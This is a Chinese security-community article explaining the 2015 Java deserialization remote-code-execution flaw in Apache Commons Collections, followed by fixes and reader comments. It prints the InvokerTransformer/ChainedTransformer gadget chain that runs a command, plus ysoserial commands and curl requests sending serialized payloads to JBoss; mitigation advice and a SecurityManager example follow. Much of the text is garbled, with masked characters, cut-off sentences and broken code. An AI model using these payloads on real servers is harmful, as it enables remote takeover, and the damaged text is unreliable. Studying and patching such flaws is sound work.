








# 目录

1. 
2.  java 
3. 
4. POC 
5. 
6. 

## 背景

2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客，阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例，各大Java Web Server纷纷躺枪，这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在将近10个月前，Gabriel Lawrence 和Chris Frohoff就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。

目前, 针对这个"2015年最被低估"的漏洞, 各大受影响的Java应用厂商陆续发布了修复后的版本, Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理。但是网络上仍有大量网站受此漏洞影响。

## 认识Java序列化与反序列化

定义：

序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程  
反序列化即逆过程, 由字节流还原成对象  
注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

用途：

- 1) 把对象的字节序列永久地保存到硬盘上, 通常存放在一个文件中;
- 2) 在网络上传送对象的字节序列。

应用场景：

- 1) 一般来说，服务器启动后，就不会再关闭了，但是如果逼不得已需要重启，而用户会话还在进行相应的操作，这时就需要使用序列化将session信息保存起来放在硬盘，服务
- 2) 在很多应用中，需要对某些对象进行序列化，让它们离开内存空间，入住物理硬盘，以便减轻内存压力或便于长期保存。

比如最常见的是Web服务器中的Session对象，当有10万用户并发访问，就有可能出现10万个Session对象，内存可能吃不消，于是Web容器就会把一些session先序列化到硬盘中，等要用了，再把保存在硬盘中的对象还原到

例子：

淘宝每年都会有定时抢购的活动，很多用户会提前登录等待，长时间不进行操作，一致保存在内存中，而到达指定时刻，几十万用户并发访问，就可能会有几十万session。

### Java中的API实现：

位置：Java.io.ObjectOutputStream java.io.ObjectInputStream

序列化： ObjectOutputStream类 --> writeObject()

[illegible]

```
■Java■■■■■■■■■■.ser■■■■
```

反序列化: `ObjectInputStream`类 --> `readObject()`

注：该方法从一个源输入流中读取字节序列，再把它们反序列化为一个对象，并将其返回。

简单测试代码：

```
import java.io.*;
```

/ \*



```

private int age;
private String name;
private String sex;

public int getAge() {
return age;
}

public String getName() {
return name;
}

public String getSex() {
return sex;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}

public void setSex(String sex) {
this.sex = sex;
}
}

/**
 * <p>ClassName: SerializeAndDeserialize<p>
 * <p>Description: ████████████████████<p>
 */
public class SerializeDeserialize_readObject {

public static void main(String[] args) throws Exception {
SerializePerson();//████Person██
Person p = DeserializePerson();//████Perons██
System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
p.getName(), p.getAge(), p.getSex()));
}

/**
 * MethodName: SerializePerson
 * Description: █████Person██
 */
private static void SerializePerson() throws FileNotFoundException,
IOException {
Person person = new Person();
person.setName("ssooking");
person.setAge(20);
person.setSex("█");
// ObjectOutputStream ██████████Person████████Person.txt████████Person██████████████████
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
new File("Person.txt")));
oo.writeObject(person);
System.out.println("Person██████████████████");
oo.close();
}

/**
 * MethodName: DeserializePerson
 * Description: █████Perons██
 */
private static Person DeserializePerson() throws Exception, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
/*

```

漏洞是怎么来的呢？

如果Java应用对用户输入，即不可信数据做了反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化产生非预期的对象，非预期的对象在产生过程中就有可能带来任

## 从Apache Commons Collections说起

由于对java序列化/反序列化的需求，开发过程中常使用一些公共库。

是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包如下图所示，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

作为Apache开源项目的重要组件，Commons

Collections被广泛应用于各种Java应用的开发，而正是在大量web应用程序中这些类的实现以及方法的调用，导致了反序列化漏洞的普遍性和严重性。

Apache Commons Collections中有一个特殊的接口，其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数，叫做InvokerTransformer。

这里涉及到了很多概念，不要着急，接下来我们就来详细的分析一下。

经过对前面序列与反序列化的了解，我们蠢蠢欲动。那么怎样利用这个漏洞呢？

一丁点儿思路：

OK? 我们现在遇到的关键问题是：什么样对象符合条件？如何执行命令？怎样让它在被反序列化的时候执行命令？

首先，我们可以知道，要想在java中调用外部命令，可以使用这个函数 `Runtime.getRuntime().exec()`，然而，我们现在需要先找到一个对象，可以存储并在特定情况下执行我们的命令。

Map类是存储键值对的数据结构。Apache Commons Collections中实现了TransformedMap

，该类可以在一个元素被添加/删除/或是被修改时(即key或value：集合中的数据存储形式即是一个索引对应一个值，就像身份证与人的关系那样)，会调用transform方法自或者在数据改变时，进行一些我们提前设定好的操作。

至于会进行怎样的操作或变换，这是由我们提前设定的，这个叫做transform。等会我们就来了解一下transform。

我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例

```
TransformedMap.decorate(, Map)
Map
```

```
Map<String, Object> keyMap = new HashMap<>();
Map<String, Object> valueMap = new HashMap<>();
```

## (2)Transformer接口

Defines a functor interface implemented by classes that transform one object into another.

```
Transformer<T> {
    T transform(Object input);
}
```

### transform的源代码

我们可以看到该类接收一个对象，获取该对象的名称，然后调用了invoke反射方法。另外，多个Transformer还能串起来，形成ChainedTransformer。当触发时，ChainTransformer会依次调用每个Transformer的transform方法。

下面是一些实现Transformer接口的类，箭头标注的是我们会用到的。

```
ConstantTransformer
```

```
ConstantTransformer
```

```
InvokerTransformer
```

```
InvokerTransformer
```

```
ChainedTransformer
```

```
ChainedTransformer<Transformer<Object>...>Transformer
```

### Apache Commons

Collections中已经实现了一些常见的Transformer，其中有一个可以通过Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：

```
public class InvokerTransformer implements Transformer, Serializable {
    ...

    /**
     * Input<Object>
     * iMethodName, iParamTypes<String>
     * iArgs<Object>
     * invokeTransformer<Object>
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception");
        }
    }
}
```

只需要传入方法名、参数类型和参数，即可调用任意函数。

在这里，我们可以看到，先用ConstantTransformer()获取了Runtime类，接着反射调用getRuntime函数，再调用getRuntime的exec()函数，执行命令"。依次调用关系为Runtime --> getRuntime --> exec()

因此，我们要提前构造 ChainedTransformer链，它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数，进而执行命令。正式开始时，我们先构造一个TransformerMap实例，然后想办法修改它其中的数据，使其自动调用transform()方法进行特定的变换。

再理一遍：

```
1) Map ChainedTransformer
2) TransformedMap
3) MapEntry setValue() TransformedMap
4) Transform ChainedTransformer
```

## 知识补充

```
Map java Map.Entry Map
Map keySet() entrySet()
keySet() Map key
entrySet() Set Map.Entry
Map.Entry Map Entry<K,V> Map key-value
getKey(),getValue()
```

我们可以实现这个思路

```
public static void main(String[] args) throws Exception {
    //transformers: transformer transformer
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
            new Class[] {String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke",
            new Class[] {Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
        new InvokerTransformer("exec",
            new Class[] {String.class }, new Object[] {"calc.exe"});

    //Map ChainedTransformer TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //Map MapEntry setValue()
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();

    onlyElement.setValue("foobar");
    /* setValue() ChainedTransformer
        ConstantTransformer Runtime
        getMethod invoke
        calc.exe
    */
}
```

## 思考

目前的构造还需要依赖于Map中某一项去调用setValue() 怎样才能在调用readObject()方法时直接触发执行呢？

## 更近一步

我们知道，如果一个类的方法被重写，那么在调用这个函数时，会优先调用经过修改的方法。因此，如果某个可序列化的类重写了readObject()方法，并且在readObject()中

于是，我们开始寻寻觅觅，终于，我们找到了~

## AnnotationInvocationHandler类

```
memberValues Map
AnnotationInvocationHandler readObject() memberValues setValue() value
```

这个类完全符合我们的要求，那么，我们的思路就非常清晰了

```
1) Map ChainedTransformer
2) TransformedMap
3) AnnotationInvocationHandler
4) readObject()
```

## 我们回顾下所有用到的技术细节

## 具体实现







```
#####jar###
grep -R InvokerTransformer
#####payload###
java -jar ysoserial-0.0.4-all.jar CommonsCollections1 '#####' > payload.out
#####payload###
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '

exploit###
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'echo 1 > /tmp/pwned' > payload
curl --header 'Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue' --data-binary
```

我们提交payload数据时，可以抓取数据包进行分析，看起来大概像这个样子（图片不是自己环境测试中的）

---

## 总结

```
#####
#####Java#####

###: ###ObjectInputStream#####
CommonsCollections#####

###Apache Commons Collections#####
#####org.apache.commons.collections.Transformer###

#####Java#####

#####Java#####Apache Commons Collections###TransformedMap###
#####java#####jsp#####jsp#####SHELL#####
#####webshell#####webshell#####
```

## 启发

```
#####
#####
#####
#####
#####
(1)#####/#####
(2)###POC#####
```

---

## 漏洞修补

```
Java#####

#####apache commons collections#####Jenkins WebLogic Jboss WebSphere OpenNMS###
#####Jenkins#####

#####5###
###grep#####Apache Commons Collections#####jar###
commons-collections.jar
*.commons-collections.jar
apache.commons.collections.jar
*.commons-collections.*.jar
#####

#####

###Apache Commons Collections###
Apache Commons Collections### 3.2.2#####Java#####

NibbleSecurity#####ikkisoft###github#####SerialKiller
lib###:https://github.com/ikkisoft/SerialKiller
#####jar#####classpath#####java.io.ObjectInputStream#####SerialKiller
#####SerialKiller###Hot-Reload,Whitelisting,Blacklisting#####
```

严格意义说起来，Java相对来说安全性问题比较少，出现的一些问题大部分是利用反射，最终用Runtime.exec(String cmd)函数来执行外部命令的。

如果可以禁止JVM执行外部命令，未知漏洞的危害性会大大降低，可以大大提高JVM的安全性。比如：

```

SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// ■■■■■■SecurityManager

SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// ■■■exec

if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();

if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}

// ■■■■■■SecurityManager

if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();

if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException(
"System.setSecurityManager denied!");
}
}
}

@Override

public void checkPermission(Permission perm) {
check(perm);
}

@Override

public void checkPermission(Permission perm, Object context) {
check(perm);
}
};

System.setSecurityManager(sm);
}

```

如上所示，只要在Java代码里简单加一段程序，就可以禁止执行外部程序了。

禁止JVM执行外部命令，是一个简单有效的提高JVM安全性的办法。可以考虑在代码安全扫描时，加强对Runtime.exec相关代码的检测。

## 针对其他的Web Application的修复

```
Weblogic
■■■■■Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 ■■■■
■■■■■
1 ■■ SerialKiller ■■■■■■■■■■ ObjectInputStream ■■
2 ■■■■■■■■■■■■■■■■■■■■■■
"org/apache/commons/collections/functors/InvokerTransformer.class" ■■■■
■■■■■
■■■■■: http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html
Weblogic ■■■■■■■■■■■■

Jboss
■■■■■
1 ■■ commons-collections jar ■■ InvokerTransformer, InstantiateFactory, ■InstantiateTransfromer class ■■
■■■■■
https://issues.apache.org/jira/browse/COLLECTIONS-580
https://access.redhat.com/solutions/2045023

jenkins
■■■■■
1 ■■ SerialKiller ■■■■■■■■■■ ObjectInputStream ■■
2 ■■■■■■■■■■■■■■■■■■■■■■"org/apache/commons/collections/functors/InvokerTransformer.class" ■■■■
■■■■■■ Jenkins ■■■ ■■■■ ■■■■1.638■■■■■■■■■■■
■■■■■■■■■■■:
https://jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execution-0-day-jenkins-cli
https://github.com/jenkinsci-cert/SECURITY-218
```

[illegible]

## 相关CVE

CVE-2015-7501

CVE-2015-4852(Weblogic)

## CVE-2015-7450(Websphere)

## 相关学习资料

```
http://www.freebuf.com/vuls/90840.html
https://security.tencent.com/index.php/blog/msg/97
http://www.tuicool.com/articles/ZvMbIne
http://www.freebuf.com/vuls/86566.html
http://sec.chinabyte.com/435/13618435.shtml
http://www.myhack58.com/Article/html/3/62/2015/69493_2.htm
http://blog.nsfocus.net/java-deserialization-vulnerability-comments/
http://www.ijian dao.com/safe/cto/18152.html
https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
http://www.cnblogs.com/dongchi/p/4796188.html
https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#h4_
```

点击收藏 | 2 关注 | 1

[上一篇：白帽子讲浏览器安全.pdf](#) [下一篇：超简单“破解”Sublime Text](#)

1. 3 条回复



helloworld 2017-06-21 07:15:04

学习了

0 回复Ta



[三思之旅](#) 2017-06-22 03:13:00

感谢分享，学习一下~

0 回复Ta



[cover](#) 2018-01-22 21:02:04

这篇总结很不错，比腾讯写的那篇还要好。

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)